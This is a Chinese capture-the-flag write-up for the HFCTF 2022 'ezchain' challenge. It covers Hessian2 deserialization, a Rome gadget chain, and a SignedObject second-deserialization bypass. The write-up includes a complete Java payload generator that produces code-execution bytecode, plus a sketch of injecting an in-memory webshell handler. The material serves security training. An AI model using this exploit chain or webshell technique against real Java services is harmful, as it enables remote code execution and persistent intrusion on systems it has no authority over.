这个题我做了一晚上 + 一白天。是一个很好的题目 对于学Java的同学的自动化代码审计,漏洞原理研究,Java本身机制了解有着一定的要求。本文会详细阐述该题目的解题思路和踩过的一些坑

0x01 题目分析

拿到题目,直接分析

version: '2.4'
services:
  nginx:
    image: nginx:1.15
    ports:
      - "0.0.0.0:8090:80"
    restart: always
    volumes:
        - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    networks:
      - internal_network
      - out_network
  web:
    build: ./
    restart: always
    volumes:
        - ./flag:/flag:ro
    networks:
      - internal_network
networks:
    internal_network:
        internal: true
        ipam:
            driver: default
    out_network:
        ipam:
            driver: default

非常明显的不出网特征

然后反编译jar看一下源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.instrument.Instrumentation;
import java.net.InetSocketAddress;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;
import java.util.stream.Stream;

public class Index {
    public Index() {
    }

    public static void main(String[] args) throws Exception {
        System.out.println("server start");
        HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
        server.createContext("/", new Index.MyHandler());
        server.setExecutor(Executors.newCachedThreadPool());
        server.start();
    }

    static class MyHandler implements HttpHandler {
        MyHandler() {
        }

        public void handle(HttpExchange t) throws IOException {

            String query = t.getRequestURI().getQuery();
            Map<String, String> queryMap = this.queryToMap(query);
            String response = "Welcome to HFCTF 2022";
            if (queryMap != null) {
                String token = (String)queryMap.get("token");
                String secret = "HFCTF2022";
                if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
                    InputStream is = t.getRequestBody();

                    try {
                        Hessian2Input input = new Hessian2Input(is);
                        input.readObject();
                    } catch (Exception var9) {
                        response = "oops! something is wrong";
                    }
                } else {
                    response = "your token is wrong";
                }
            }

            t.sendResponseHeaders(200, (long)response.length());
            OutputStream os = t.getResponseBody();
            os.write(response.getBytes());
            os.close();
        }

        public Map<String, String> queryToMap(String query) {
            if (query == null) {
                return null;
            } else {
                Map<String, String> result = new HashMap();
                String[] var3 = query.split("&");
                int var4 = var3.length;

                for(int var5 = 0; var5 < var4; ++var5) {
                    String param = var3[var5];
                    String[] entry = param.split("=");
                    if (entry.length > 1) {
                        result.put(entry[0], entry[1]);
                    } else {
                        result.put(entry[0], "");
                    }
                }

                return result;
            }
        }
    }
}

明显的Hessian2Input反序列化。 又有Rome-tools的依赖。思路明确下来 利用Hessian2协议打Rome反序列化

关于Hessian2&Rome可以参考

https://www.anquanke.com/post/id/263274#h2-9

通过触发ToString方法来触发getter方法

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

对于触发JDBC的调用栈如下

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)

0x02 Tamplates

有了现成的链子,第一思路就是 将Tamplates的利用直接塞进去

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(ysoserial.payloads.test2.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

相信各位师傅们也有这样尝试过。但是发现并没有执行成功,并且报错

虎符 2022 ezchain

但是其实debug会发现其实进到了这个类

虎符 2022 ezchain

虎符 2022 ezchain

并且东西还很全

其实继续跟进会发现在Hessian的一些限制下,导致被transient修饰的_tfactory对象无法写入造成空指针异常

所以这时候我们的思路定在二次反序列化上。那么如何去寻找这个类呢

这个预期类需要满足几个条件

  1. 有readobject
  2. 有getter方法,且无参数
  3. 继承Serializable

一开始我是注意到了一个比较突兀的依赖jdom2 但是搜了一下发现没有可以利用的地方

这里就要利用自动化审计工具了。asm/tabby/codeql 都可以

设定好条件后就可以发现jdk里的java.security.SignedObject

虎符 2022 ezchain

继承Serializable 有getter方法 无参数 可以反序列化

完美的链子

网上可以查到很多关于这个类的编写方式。 按照demo改一改

package ysoserial.payloads;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;

import ysoserial.Serializer;

import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.util.Base64;

public class HashCodeBypass {


    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(ysoserial.payloads.test2.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = makeMap(root,root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = makeMap(root1,root1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(hashmap1);
        hessian2Output.flushBuffer();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        String exp = Base64.getEncoder().encodeToString(bytes);
        System.out.println(exp);

//        try {
//            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//            Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
//            System.out.println(hessian2Input.readObject());
//        } catch (Exception e) {
//            System.out.println(e);
//        }

    }
}

然后就可以命令执行了。这时候拿回显成了另一个考点(据说出题人预期是命令盲注 人麻了)

0x03 回显的几种方式

相信对Java安全学习过一段时间都对java的反射 线程有一定的了解。在一个运行中的应用里。所有所需要的类都可以从线程中获得,本题也不例外。我们可以下一个断点看看怎么办

思路比较明确,注入恶意的handle达到内存马的效果

虎符 2022 ezchain

debug一下表达式

虎符 2022 ezchain

有多明显不用我说了吧

虎符 2022 ezchain

当然你也可以直接拿到rep 直接回显结果

虎符 2022 ezchain

最后